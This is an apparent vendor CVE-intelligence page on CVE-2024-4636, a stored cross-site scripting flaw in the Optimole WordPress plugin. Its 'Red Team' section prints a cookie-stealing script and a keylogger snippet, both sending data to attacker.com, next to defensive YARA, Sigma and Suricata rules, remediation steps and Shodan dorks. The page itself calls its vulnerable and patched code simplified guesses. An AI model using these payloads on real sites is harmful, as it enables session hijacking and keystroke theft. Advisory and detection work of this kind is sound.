☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Optimole logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-4636

CVE-2024-4636 Cross-Site Scripting in Optimole
📅 PUBLISHED: 2024-05-15 06:51 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.38%
👁️
0.38% probability
9.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Romania License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4636 is a Stored Cross-Site Scripting (XSS) vulnerability in the Optimole WordPress plugin (versions up to and including 3.12.10). The flaw resides in the allow_meme_types function, which fails to properly sanitize user input and escape output. This allows authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts into pages. When other users (including administrators) access the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further site compromise.

As a WordPress plugin vulnerability, this issue affects the WordPress ecosystem directly. The plugin is widely used for image optimization, lazy loading, CDN, and WebP/AVIF conversion, making it a high-value target for attackers seeking to compromise WordPress sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available for manual installation. Users should verify they are not running version 3.12.10 or earlier. No official patch has been released at the time of analysis.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level or higher)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users with low privileges to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the allow_meme_types function within the Optimole plugin. This function is likely used to filter or allow certain meme-related file types during image upload or processing. The lack of input sanitization and output escaping means that user-supplied data (e.g., file names, custom fields, or other input) is rendered directly in the HTML without proper encoding.

Attack Flow:

  1. An attacker with contributor-level access logs into the WordPress admin panel.
  2. The attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via a vulnerable input field processed by allow_meme_types.
  3. The plugin stores the payload in the database without sanitization.
  4. When any user (including admins) views the page where the payload is rendered, the script executes in their browser.
  5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: Insufficient input sanitization and output escaping in the allow_meme_types function. The plugin likely uses echo or _e() without wrapping the output in esc_html() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

function allow_meme_types($meme_type) {
    // No sanitization
    echo "<div class='meme-type'>$meme_type</div>";
}

Patched Code (expected fix):

function allow_meme_types($meme_type) {
    // Sanitize and escape output
    $safe_meme_type = sanitize_text_field($meme_type);
    echo "<div class='meme-type'>" . esc_html($safe_meme_type) . "</div>";
}

The patch should use sanitize_text_field() for input and esc_html() for output to prevent XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress site with Optimole plugin <= 3.12.10
  • Contributor-level account credentials

Steps:

  1. Log in as a contributor.
  2. Navigate to a page or post editor where the allow_meme_types function is used (e.g., media upload or settings page).
  3. Inject the following payload into a vulnerable field:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the page/post.
  5. When an admin or other user views the page, the script executes, sending their session cookie to the attacker.

Alternative Payload (keylogger):

document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for unusual JavaScript execution in WordPress admin pages.
  2. Check for unexpected script tags in post content or custom fields.
  3. Review server logs for requests to unknown external domains from admin sessions.

Mitigation:

  • Disable the Optimole plugin until a patch is applied.
  • Restrict contributor-level accounts to trusted users only.
  • Implement a Web Application Firewall (WAF) rule to block XSS payloads.

Indicators of Compromise (IOCs)

  • File Patterns: Presence of <script> tags in WordPress post content or custom fields that were not intentionally added.
  • Network Traffic: Outbound HTTP requests from the WordPress server to unknown domains, especially those containing cookie= parameters.
  • Log Entries: Unusual admin user activity, such as multiple edits to the same page by a contributor.
  • Database Entries: Rows in wp_posts or wp_postmeta containing JavaScript code.

Detection Engineering

YARA Rule

rule CVE_2024_4636_Optimole_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Optimole plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-4636"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $optimole_func = /allow_meme_types/i
    condition:
        $optimole_func and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-4636 Optimole Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS exploitation attempts against Optimole plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-4636 Optimole Stored XSS Payload";
    flow:to_server,established;
    content:"<script"; http_uri;
    content:"document.cookie"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Action: Disable the Optimole plugin until an official patch is released.
  2. Update: Monitor the WordPress Plugin Directory for a patched version (> 3.12.10) and update immediately.
  3. Workaround: If the plugin cannot be disabled, restrict contributor-level accounts to only trusted users and implement a Content Security Policy (CSP) header to block inline scripts.
  4. Audit: Review all pages and posts for injected scripts, especially those edited by contributors.
  5. Long-term: Implement input validation and output escaping in all custom WordPress plugins.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Optimole"
http.html:"optimole-wp"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4636/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.